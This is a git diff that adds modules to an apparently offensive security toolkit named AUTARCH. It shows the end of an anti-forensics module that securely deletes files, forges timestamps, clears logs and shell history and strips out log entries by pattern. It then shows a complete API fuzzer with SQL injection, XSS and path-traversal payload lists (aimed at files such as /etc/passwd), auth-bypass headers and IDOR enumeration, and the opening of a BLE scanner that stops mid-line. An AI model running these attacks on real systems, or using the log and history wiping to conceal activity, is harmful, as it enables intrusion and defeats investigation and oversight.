'secure_delete': True, + 'timestamp_manip': True, + 'log_clearing': True, + 'metadata_scrub_image': HAS_PIL, + 'metadata_scrub_pdf': True, + 'free_space_wipe': True, + } + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_anti_forensics() -> AntiForensicsManager: + global _instance + if _instance is None: + _instance = AntiForensicsManager() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Anti-Forensics module.""" + mgr = get_anti_forensics() + + while True: + print(f"\n{'='*60}") + print(f" Anti-Forensics Toolkit") + print(f"{'='*60}") + print() + print(" 1 — Secure Delete File") + print(" 2 — Secure Delete Directory") + print(" 3 — Wipe Free Space") + print(" 4 — View File Timestamps") + print(" 5 — Set Timestamps") + print(" 6 — Clone Timestamps") + print(" 7 — Randomize Timestamps") + print(" 8 — List System Logs") + print(" 9 — Clear Log File") + print(" 10 — Remove Log Entries (pattern)") + print(" 11 — Clear Shell History") + print(" 12 — Scrub Image Metadata") + print(" 13 — Scrub PDF Metadata") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + path = input(" File path: ").strip() + passes = input(" Overwrite passes (default 3): ").strip() + if path: + result = mgr.delete.secure_delete_file(path, int(passes) if passes.isdigit() else 3) + print(f" {result.get('message', result.get('error'))}") + elif choice == '2': + path = input(" Directory path: ").strip() + if path: + confirm = input(f" DELETE ALL in {path}? (yes/no): ").strip() + if confirm == 'yes': + result = mgr.delete.secure_delete_directory(path) + print(f" Deleted {result.get('files_deleted', 0)} files, {result.get('errors', 0)} errors") + elif choice == '3': + mount = input(" Mount point: ").strip() + if mount: + result = mgr.delete.wipe_free_space(mount) + if result['ok']: + print(f" Wiped {result['wiped_mb']} MB of free space") + else: + print(f" Error: {result['error']}") + elif choice == '4': + path = input(" File path: ").strip() + if path: + result = mgr.timestamps.get_timestamps(path) + if result['ok']: + print(f" Accessed: {result['accessed']}") + print(f" Modified: {result['modified']}") + print(f" Created: {result['created']}") + elif choice == '5': + path = input(" File path: ").strip() + date_str = input(" Date (YYYY-MM-DD HH:MM:SS): ").strip() + if path and date_str: + try: + ts = datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S').timestamp() + result = mgr.timestamps.set_timestamps(path, ts, ts) + print(f" Timestamps set to {date_str}") + except ValueError: + print(" Invalid date format") + elif choice == '6': + source = input(" Source file: ").strip() + target = input(" Target file: ").strip() + if source and target: + result = mgr.timestamps.clone_timestamps(source, target) + print(f" {result.get('message', result.get('error'))}") + elif choice == '7': + path = input(" File path: ").strip() + if path: + result = mgr.timestamps.randomize_timestamps(path) + if result['ok']: + print(f" Set to: {result.get('modified', '?')}") + elif choice == '8': + logs = mgr.logs.list_logs() + for l in logs: + writable = 'writable' if l['writable'] else 'read-only' + print(f" {l['path']} ({l['size']} bytes) [{writable}]") + elif choice == '9': + path = input(" Log file path: ").strip() + if path: + result = mgr.logs.clear_log(path) + if result['ok']: + print(f" Cleared {result['cleared_bytes']} bytes") + else: + print(f" {result['error']}") + elif choice == '10': + path = input(" Log file path: ").strip() + pattern = input(" Pattern to remove: ").strip() + if path and pattern: + result = mgr.logs.remove_entries(path, pattern) + if result['ok']: + print(f" Removed {result['removed']} of {result['original_lines']} lines") + else: + print(f" {result['error']}") + elif choice == '11': + result = mgr.logs.clear_bash_history() + for c in result['cleared']: + print(f" Cleared {c['file']} ({c['cleared']} bytes)") + elif choice == '12': + path = input(" Image path: ").strip() + if path: + result = mgr.scrubber.scrub_image(path) + print(f" {result.get('message', result.get('error'))}") + elif choice == '13': + path = input(" PDF path: ").strip() + if path: + result = mgr.scrubber.scrub_pdf_metadata(path) + print(f" {result.get('message', result.get('error'))}") diff --git a/modules/api_fuzzer.py b/modules/api_fuzzer.py new file mode 100644 index 0000000..3a1ab43 --- /dev/null +++ b/modules/api_fuzzer.py @@ -0,0 +1,742 @@ +"""AUTARCH API Fuzzer + +Endpoint discovery, parameter fuzzing, auth testing, rate limit detection, +GraphQL introspection, and response analysis for REST/GraphQL APIs. +""" + +DESCRIPTION = "API endpoint fuzzing & vulnerability testing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import copy +import threading +from pathlib import Path +from urllib.parse import urljoin, urlparse, parse_qs +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + from requests.exceptions import RequestException + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +# ── Fuzz Payloads ──────────────────────────────────────────────────────────── + +SQLI_PAYLOADS = [ + "' OR '1'='1", "\" OR \"1\"=\"1", "'; DROP TABLE--", "1; SELECT 1--", + "' UNION SELECT NULL--", "1' AND '1'='1", "admin'--", "' OR 1=1#", + "1 AND 1=1", "1' ORDER BY 1--", "') OR ('1'='1", +] + +XSS_PAYLOADS = [ + "", "'\">", + "javascript:alert(1)", "", "{{7*7}}", + "${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}", +] + +TYPE_CONFUSION = [ + None, True, False, 0, -1, 2147483647, -2147483648, + 99999999999999, 0.1, -0.1, float('inf'), + "", " ", "null", "undefined", "NaN", "true", "false", + [], {}, [None], {"__proto__": {}}, + "A" * 1000, "A" * 10000, +] + +TRAVERSAL_PAYLOADS = [ + "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f", + "/etc/passwd%00", "..%252f..%252f", +] + +COMMON_ENDPOINTS = [ + '/api', '/api/v1', '/api/v2', '/api/v3', + '/api/users', '/api/admin', '/api/login', '/api/auth', + '/api/config', '/api/settings', '/api/debug', '/api/health', + '/api/status', '/api/info', '/api/version', '/api/docs', + '/api/swagger', '/api/graphql', '/api/internal', + '/swagger.json', '/swagger-ui', '/openapi.json', + '/api/tokens', '/api/keys', '/api/secrets', + '/api/upload', '/api/download', '/api/export', '/api/import', + '/api/search', '/api/query', '/api/execute', '/api/run', + '/graphql', '/graphiql', '/playground', + '/.well-known/openid-configuration', + '/api/password/reset', '/api/register', '/api/verify', + '/api/webhook', '/api/callback', '/api/notify', + '/actuator', '/actuator/health', '/actuator/env', + '/metrics', '/prometheus', '/_debug', '/__debug__', +] + + +# ── API Fuzzer Engine ──────────────────────────────────────────────────────── + +class APIFuzzer: + """REST & GraphQL API security testing.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer') + os.makedirs(self.data_dir, exist_ok=True) + self.session = requests.Session() if HAS_REQUESTS else None + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'): + """Configure authentication for requests.""" + if not self.session: + return + if auth_type == 'bearer': + self.session.headers[header_name] = f'Bearer {value}' + elif auth_type == 'api_key': + self.session.headers[header_name] = value + elif auth_type == 'basic': + parts = value.split(':', 1) + if len(parts) == 2: + self.session.auth = (parts[0], parts[1]) + elif auth_type == 'cookie': + self.session.cookies.set('session', value) + elif auth_type == 'custom': + self.session.headers[header_name] = value + + def clear_auth(self): + """Clear authentication.""" + if self.session: + self.session.headers.pop('Authorization', None) + self.session.auth = None + self.session.cookies.clear() + + # ── Endpoint Discovery ─────────────────────────────────────────────── + + def discover_endpoints(self, base_url: str, custom_paths: List[str] = None, + threads: int = 10) -> str: + """Discover API endpoints. Returns job_id.""" + job_id = f'discover_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'discover', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _discover(): + paths = COMMON_ENDPOINTS + (custom_paths or []) + self._jobs[job_id]['total'] = len(paths) + found = [] + + def check_path(path): + try: + url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/')) + resp = self.session.get(url, timeout=5, allow_redirects=False) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code < 404: + entry = { + 'path': path, + 'url': url, + 'status': resp.status_code, + 'content_type': resp.headers.get('content-type', ''), + 'size': len(resp.content), + 'methods': [] + } + + # Check allowed methods via OPTIONS + try: + opts = self.session.options(url, timeout=3) + allow = opts.headers.get('Allow', '') + if allow: + entry['methods'] = [m.strip() for m in allow.split(',')] + except Exception: + pass + + found.append(entry) + except Exception: + self._jobs[job_id]['checked'] += 1 + + # Thread pool + active_threads = [] + for path in paths: + t = threading.Thread(target=check_path, args=(path,)) + t.start() + active_threads.append(t) + if len(active_threads) >= threads: + for at in active_threads: + at.join(timeout=10) + active_threads.clear() + + for t in active_threads: + t.join(timeout=10) + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_discover, daemon=True).start() + return job_id + + def parse_openapi(self, url_or_path: str) -> Dict: + """Parse OpenAPI/Swagger spec to extract endpoints.""" + try: + if url_or_path.startswith('http'): + resp = self.session.get(url_or_path, timeout=10) + spec = resp.json() + else: + with open(url_or_path) as f: + spec = json.load(f) + + endpoints = [] + paths = spec.get('paths', {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'): + params = [] + for p in details.get('parameters', []): + params.append({ + 'name': p.get('name'), + 'in': p.get('in'), + 'required': p.get('required', False), + 'type': p.get('schema', {}).get('type', 'string') + }) + endpoints.append({ + 'path': path, + 'method': method.upper(), + 'summary': details.get('summary', ''), + 'parameters': params, + 'tags': details.get('tags', []) + }) + + return { + 'ok': True, + 'title': spec.get('info', {}).get('title', ''), + 'version': spec.get('info', {}).get('version', ''), + 'endpoints': endpoints, + 'count': len(endpoints) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Parameter Fuzzing ──────────────────────────────────────────────── + + def fuzz_params(self, url: str, method: str = 'GET', + params: Dict = None, payload_type: str = 'type_confusion') -> Dict: + """Fuzz API parameters with various payloads.""" + if not self.session: + return {'ok': False, 'error': 'requests not available'} + + if payload_type == 'sqli': + payloads = SQLI_PAYLOADS + elif payload_type == 'xss': + payloads = XSS_PAYLOADS + elif payload_type == 'traversal': + payloads = TRAVERSAL_PAYLOADS + else: + payloads = TYPE_CONFUSION + + params = params or {} + findings = [] + + for param_name, original_value in params.items(): + for payload in payloads: + fuzzed = copy.deepcopy(params) + fuzzed[param_name] = payload + + try: + if method.upper() == 'GET': + resp = self.session.get(url, params=fuzzed, timeout=10) + else: + resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10) + + # Analyze response for anomalies + finding = self._analyze_fuzz_response( + resp, param_name, payload, payload_type + ) + if finding: + findings.append(finding) + + except RequestException as e: + if 'timeout' not in str(e).lower(): + findings.append({ + 'param': param_name, + 'payload': str(payload), + 'type': 'error', + 'detail': str(e) + }) + + return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)} + + def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]: + """Analyze response for vulnerability indicators.""" + body = resp.text.lower() + finding = None + + # SQL error detection + sql_errors = [ + 'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3', + 'unclosed quotation', 'unterminated string', 'syntax error', + 'odbc', 'oracle error', 'microsoft ole db', 'ora-0' + ] + if payload_type == 'sqli' and any(e in body for e in sql_errors): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'sqli', 'severity': 'high', + 'detail': 'SQL error in response', + 'status': resp.status_code + } + + # XSS reflection + if payload_type == 'xss' and str(payload).lower() in body: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'xss_reflected', 'severity': 'high', + 'detail': 'Payload reflected in response', + 'status': resp.status_code + } + + # Path traversal + if payload_type == 'traversal': + traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]'] + if any(t in body for t in traversal_indicators): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'path_traversal', 'severity': 'critical', + 'detail': 'File content in response', + 'status': resp.status_code + } + + # Server error (500) might indicate injection + if resp.status_code == 500 and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'server_error', 'severity': 'medium', + 'detail': f'Server error (500) triggered', + 'status': resp.status_code + } + + # Stack trace / debug info disclosure + debug_indicators = [ + 'traceback', 'stacktrace', 'exception', 'debug', + 'at line', 'file "/', 'internal server error' + ] + if any(d in body for d in debug_indicators) and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'info_disclosure', 'severity': 'medium', + 'detail': 'Debug/stack trace in response', + 'status': resp.status_code + } + + return finding + + # ── Auth Testing ───────────────────────────────────────────────────── + + def test_idor(self, url_template: str, id_range: Tuple[int, int], + auth_token: str = None) -> Dict: + """Test for IDOR by iterating IDs.""" + findings = [] + start_id, end_id = id_range + + if auth_token: + self.session.headers['Authorization'] = f'Bearer {auth_token}' + + for i in range(start_id, end_id + 1): + url = url_template.replace('{id}', str(i)) + try: + resp = self.session.get(url, timeout=5) + if resp.status_code == 200: + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'size': len(resp.content), + 'accessible': True + }) + elif resp.status_code not in (401, 403, 404): + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'accessible': False, + 'note': f'Unexpected status: {resp.status_code}' + }) + except Exception: + pass + + return { + 'ok': True, 'findings': findings, + 'accessible_count': sum(1 for f in findings if f.get('accessible')), + 'tested': end_id - start_id + 1 + } + + def test_auth_bypass(self, url: str) -> Dict: + """Test common auth bypass techniques.""" + bypasses = [] + + tests = [ + ('No auth header', {}), + ('Empty Bearer', {'Authorization': 'Bearer '}), + ('Bearer null', {'Authorization': 'Bearer null'}), + ('Bearer undefined', {'Authorization': 'Bearer undefined'}), + ('Admin header', {'X-Admin': 'true'}), + ('Internal header', {'X-Forwarded-For': '127.0.0.1'}), + ('Override method', {'X-HTTP-Method-Override': 'GET'}), + ('Original URL', {'X-Original-URL': '/admin'}), + ] + + for name, headers in tests: + try: + resp = requests.get(url, headers=headers, timeout=5) + if resp.status_code == 200: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'size': len(resp.content), + 'success': True + }) + else: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'success': False + }) + except Exception: + pass + + return { + 'ok': True, + 'bypasses': bypasses, + 'successful': sum(1 for b in bypasses if b.get('success')) + } + + # ── Rate Limiting ──────────────────────────────────────────────────── + + def test_rate_limit(self, url: str, requests_count: int = 50, + method: str = 'GET') -> Dict: + """Test API rate limiting.""" + results = [] + start_time = time.time() + + for i in range(requests_count): + try: + resp = self.session.request(method, url, timeout=10) + results.append({ + 'request_num': i + 1, + 'status': resp.status_code, + 'time': time.time() - start_time, + 'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''), + 'retry_after': resp.headers.get('Retry-After', '') + }) + if resp.status_code == 429: + break + except Exception as e: + results.append({ + 'request_num': i + 1, + 'error': str(e), + 'time': time.time() - start_time + }) + + rate_limited = any(r.get('status') == 429 for r in results) + elapsed = time.time() - start_time + + return { + 'ok': True, + 'rate_limited': rate_limited, + 'total_requests': len(results), + 'elapsed_seconds': round(elapsed, 2), + 'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0, + 'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None), + 'results': results + } + + # ── GraphQL ────────────────────────────────────────────────────────── + + def graphql_introspect(self, url: str) -> Dict: + """Run GraphQL introspection query.""" + query = { + 'query': ''' + { + __schema { + types { + name + kind + fields { + name + type { name kind } + args { name type { name } } + } + } + queryType { name } + mutationType { name } + } + } + ''' + } + + try: + resp = self.session.post(url, json=query, timeout=15) + data = resp.json() + + if 'errors' in data and not data.get('data'): + return {'ok': False, 'error': 'Introspection disabled or error', + 'errors': data['errors']} + + schema = data.get('data', {}).get('__schema', {}) + types = [] + for t in schema.get('types', []): + if not t['name'].startswith('__'): + types.append({ + 'name': t['name'], + 'kind': t['kind'], + 'fields': [ + {'name': f['name'], + 'type': f['type'].get('name', f['type'].get('kind', '')), + 'args': [a['name'] for a in f.get('args', [])]} + for f in (t.get('fields') or []) + ] + }) + + return { + 'ok': True, + 'query_type': schema.get('queryType', {}).get('name'), + 'mutation_type': schema.get('mutationType', {}).get('name'), + 'types': types, + 'type_count': len(types) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict: + """Test GraphQL query depth limits.""" + results = [] + for depth in range(1, max_depth + 1): + # Build nested query + inner = '{ __typename }' + for _ in range(depth): + inner = f'{{ __schema {{ types {inner} }} }}' + + try: + resp = self.session.post(url, json={'query': inner}, timeout=10) + results.append({ + 'depth': depth, + 'status': resp.status_code, + 'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None + }) + if resp.status_code != 200: + break + except Exception: + results.append({'depth': depth, 'error': True}) + break + + max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0) + return { + 'ok': True, + 'max_depth_allowed': max_allowed, + 'depth_limited': max_allowed < max_depth, + 'results': results + } + + # ── Response Analysis ──────────────────────────────────────────────── + + def analyze_response(self, url: str, method: str = 'GET') -> Dict: + """Analyze API response for security issues.""" + try: + resp = self.session.request(method, url, timeout=10) + issues = [] + + # Check security headers + security_headers = { + 'X-Content-Type-Options': 'nosniff', + 'X-Frame-Options': 'DENY|SAMEORIGIN', + 'Strict-Transport-Security': None, + 'Content-Security-Policy': None, + 'X-XSS-Protection': None, + } + for header, expected in security_headers.items(): + val = resp.headers.get(header) + if not val: + issues.append({ + 'type': 'missing_header', + 'header': header, + 'severity': 'low' + }) + + # Check for info disclosure + server = resp.headers.get('Server', '') + if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']): + issues.append({ + 'type': 'server_disclosure', + 'value': server, + 'severity': 'info' + }) + + powered_by = resp.headers.get('X-Powered-By', '') + if powered_by: + issues.append({ + 'type': 'technology_disclosure', + 'value': powered_by, + 'severity': 'low' + }) + + # Check CORS + cors = resp.headers.get('Access-Control-Allow-Origin', '') + if cors == '*': + issues.append({ + 'type': 'open_cors', + 'value': cors, + 'severity': 'medium' + }) + + # Check for error/debug info in body + body = resp.text.lower() + if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']): + issues.append({ + 'type': 'debug_info', + 'severity': 'medium', + 'detail': 'Debug/stack trace information in response' + }) + + return { + 'ok': True, + 'url': url, + 'status': resp.status_code, + 'headers': dict(resp.headers), + 'issues': issues, + 'issue_count': len(issues) + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_api_fuzzer() -> APIFuzzer: + global _instance + if _instance is None: + _instance = APIFuzzer() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for API Fuzzer module.""" + if not HAS_REQUESTS: + print(" Error: requests library not installed") + return + + fuzzer = get_api_fuzzer() + + while True: + print(f"\n{'='*60}") + print(f" API Fuzzer") + print(f"{'='*60}") + print() + print(" 1 — Discover Endpoints") + print(" 2 — Parse OpenAPI Spec") + print(" 3 — Fuzz Parameters") + print(" 4 — Test Auth Bypass") + print(" 5 — Test IDOR") + print(" 6 — Test Rate Limiting") + print(" 7 — GraphQL Introspection") + print(" 8 — Analyze Response") + print(" 9 — Set Authentication") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + base = input(" Base URL: ").strip() + if base: + job_id = fuzzer.discover_endpoints(base) + print(f" Discovery started (job: {job_id})") + while True: + job = fuzzer.get_job(job_id) + if job['status'] == 'complete': + print(f" Found {len(job['found'])} endpoints:") + for ep in job['found']: + print(f" [{ep['status']}] {ep['path']} " + f"({ep['content_type'][:30]})") + break + print(f" Checking... {job['checked']}/{job['total']}") + time.sleep(1) + elif choice == '2': + url = input(" OpenAPI spec URL or file: ").strip() + if url: + result = fuzzer.parse_openapi(url) + if result['ok']: + print(f" API: {result['title']} v{result['version']}") + print(f" Endpoints: {result['count']}") + for ep in result['endpoints'][:20]: + print(f" {ep['method']:<6} {ep['path']} {ep.get('summary', '')}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + url = input(" Endpoint URL: ").strip() + param_str = input(" Parameters (key=val,key=val): ").strip() + ptype = input(" Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion' + if url and param_str: + params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p) + result = fuzzer.fuzz_params(url, params=params, payload_type=ptype) + if result['ok']: + print(f" Tested {result['tested']} combinations, {len(result['findings'])} findings:") + for f in result['findings']: + print(f" [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}") + elif choice == '4': + url = input(" Protected URL: ").strip() + if url: + result = fuzzer.test_auth_bypass(url) + print(f" Tested {len(result['bypasses'])} techniques, {result['successful']} successful") + for b in result['bypasses']: + status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})' + print(f" {b['technique']}: {status}") + elif choice == '6': + url = input(" URL to test: ").strip() + count = input(" Request count (default 50): ").strip() + if url: + result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50) + print(f" Rate limited: {result['rate_limited']}") + print(f" RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s") + if result['limit_hit_at']: + print(f" Limit hit at request #{result['limit_hit_at']}") + elif choice == '7': + url = input(" GraphQL URL: ").strip() + if url: + result = fuzzer.graphql_introspect(url) + if result['ok']: + print(f" Found {result['type_count']} types") + for t in result['types'][:10]: + print(f" {t['kind']}: {t['name']} ({len(t['fields'])} fields)") + else: + print(f" Error: {result['error']}") + elif choice == '8': + url = input(" URL: ").strip() + if url: + result = fuzzer.analyze_response(url) + if result['ok']: + print(f" Status: {result['status']} | Issues: {result['issue_count']}") + for issue in result['issues']: + print(f" [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}") + elif choice == '9': + auth_type = input(" Auth type (bearer/api_key/basic/cookie): ").strip() + value = input(" Value: ").strip() + if auth_type and value: + fuzzer.set_auth(auth_type, value) + print(" Authentication configured") diff --git a/modules/ble_scanner.py b/modules/ble_scanner.py new file mode 100644 index 0000000..a71199a --- /dev/null +++ b/modules/ble_scanner.py @@ -0,0 +1,555 @@ +"""AUTARCH BLE Scanner + +Bluetooth Low Energy device discovery, service enumeration, characteristic +read/write, vulnerability scanning, and proximity tracking. +""" + +DESCRIPTION = "BLE device scanning & security analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional BLE library +try: + import asyncio + from bleak import BleakScanner, BleakClient + HAS_BLEAK = True +except ImportError: + HAS_BLEAK = False + + +# ── Known Service UUIDs ────────────────────────────────────────────────────── + +KNOWN_SERVICES = { + '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access', + '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute', + '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information', + '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service', + '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device', + '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate', + '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer', + '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert', + '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss', + '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power', + '00001805-0000-1000-8000-00805f9b34fb': 'Current Time', + '00001808-0000-1000-8000-00805f9b34fb': 'Glucose', + '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure', + '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters', + '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence', + '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power', + '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence', + '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service', + '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)', +} + +MANUFACTURER_IDS = { + 0x004C: 'Apple', + 0x0006: 'Microsoft', + 0x000F: 'Texas Instruments', + 0x0059: 'Nordic Semiconductor', + 0x0075: 'Samsung', + 0x00E0: 'Google', + 0x0157: 'Xiaomi', + 0x0171: 'Amazon', + 0x02FF: 'Huawei', + 0x0310: 'Fitbit', +} + +KNOWN_VULNS = { + 'KNOB': { + 'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy', + 'cve': 'CVE-2019-9506', + 'severity': 'high', + 'check': 'Requires active MITM during pairing' + }, + 'BLESA': { + 'description': 'BLE Spoofing Attack — reconnection spoofing without auth', + 'cve': 'CVE-2020-9770', + 'severity': 'medium', + 'check': 'Affects reconnection after disconnect' + }, + 'SweynTooth': { + 'description': 'Family of BLE implementation bugs causing crashes/deadlocks', + 'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)', + 'severity': 'high', + 'check': 'Vendor-specific, requires firmware version check' + }, + 'BlueBorne': { + 'description': 'Remote code execution via Bluetooth without pairing', + 'cve': 'CVE-2017-0781 to CVE-2017-0785', + 'severity': 'critical', + 'check': 'Requires classic BT stack, pre-2018 devices vulnerable' + } +} + + +# ── BLE Scanner ────────────────────────────────────────────────────────────── + +class BLEScanner: + """Bluetooth Low Energy device scanner and analyzer.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'ble') + os.makedirs(self.data_dir, exist_ok=True) + self.devices: Dict[str, Dict] = {} + self.tracking_history: Dict[str, List[Dict]] = {} + self._scan_running = False + + def is_available(self) -> bool: + """Check if BLE scanning is available.""" + return HAS_BLEAK + + def get_status(self) -> Dict: + """Get scanner status.""" + return { + 'available': HAS_BLEAK, + 'devices_found': len(self.devices), + 'scanning': self._scan_running, + 'tracking': len(self.tracking_history) + } + + # ── Scanning ───────────────────────────────────────────────────────── + + def scan(self, duration: float = 10.0) -> Dict: + """Scan for BLE devices.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak library not installed (pip install bleak)'} + + self._scan_running = True + + try: + loop = asyncio.new_event_loop() + devices = loop.run_until_complete(self._async_scan(duration)) + loop.close() + + results = [] + for dev in devices: + info = self._parse_device(dev) + self.devices[info['address']] = info + results.append(info) + + self._scan_running = False + return { + 'ok': True, + 'devices': results, + 'count': len(results), + 'duration': duration + } + + except Exception as e: + self._scan_running = False + return {'ok': False, 'error': str(e)} + + async def _async_scan(self, duration: float): + """Async BLE scan.""" + devices = await BleakScanner.discover(timeout=duration, return_adv=True) + return devices + + def _parse_device(self, dev_adv) -> Dict: + """Parse BLE device advertisement data.""" + if isinstance(dev_adv, tuple): + dev, adv = dev_adv + else: + dev = dev_adv + adv = None + + info = { + 'address': str(dev.address) if hasattr(dev, 'address') else str(dev), + 'name': dev.name if hasattr(dev, 'name') else 'Unknown', + 'rssi': dev.rssi if hasattr(dev, 'rssi') else (adv.rssi if adv and hasattr(adv, 'rssi') else 0), + 'services': [], + 'manufacturer': 'Unknown', + 'device_type': 'unknown', + 'connectable': True, + 'last_seen': datetime.now(timezone.utc).isoformat(), + } + + # Parse advertisement data + if adv: + # Service UUIDs + if hasattr(adv, 'service_uuids'): + for uuid in adv.service_uuids: + service_name = KNOWN_SERVICES.get(uuid.lower(), uuid) + info['services'].append({'uuid': uuid, 'name': service_name}) + + # Manufacturer data + if hasattr(adv, 'manufacturer_data'): + for company_id, data in adv.manufacturer_data.items(): + info['manufacturer'] = MANUFACTURER_IDS.get(company_id, f'ID: {company_id:#06x}') + info['manufacturer_data'] = data.hex() if isinstance(data, bytes) else str(data) + + # TX Power + if hasattr(adv, 'tx_power'): + info['tx_power'] = adv.tx_power + + # Classify device type + info['device_type'] = self._classify_device(info) + + return info + + def _classify_device(self, info: Dict) -> str: + """Classify device type from services and name.""" + name = (info.get('name') or '').lower() + services = [s['uuid'].lower() for s in info.get('services', [])] + + if any('1812' in s for s in services): + return 'hid' # keyboard/mouse + if any('180d' in s for s in services): + return 'fitness' + if any('180f' in s for s in services): + if 'headphone' in name or 'airpod' in name or 'buds' in name: + return 'audio' + if any('fee0' in s for s in services): + return 'wearable' + if info.get('manufacturer') == 'Apple': + if 'watch' in name: + return 'wearable' + if 'airpod' in name: + return 'audio' + return 'apple_device' + if 'tv' in name or 'chromecast' in name or 'roku' in name: + return 'media' + if 'lock' in name or 'door' in name: + return 'smart_lock' + if 'light' in name or 'bulb' in name or 'hue' in name: + return 'smart_light' + if 'beacon' in name or any('feaa' in s for s in services): + return 'beacon' + if 'tile' in name or 'airtag' in name or 'tracker' in name: + return 'tracker' + return 'unknown' + + # ── Device Detail ──────────────────────────────────────────────────── + + def get_device_detail(self, address: str) -> Dict: + """Connect to device and enumerate services/characteristics.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_detail(address)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_detail(self, address: str) -> Dict: + """Async device detail enumeration.""" + async with BleakClient(address) as client: + services = [] + for service in client.services: + svc = { + 'uuid': service.uuid, + 'name': KNOWN_SERVICES.get(service.uuid.lower(), service.description or service.uuid), + 'characteristics': [] + } + for char in service.characteristics: + ch = { + 'uuid': char.uuid, + 'description': char.description or char.uuid, + 'properties': char.properties, + 'value': None + } + # Try to read 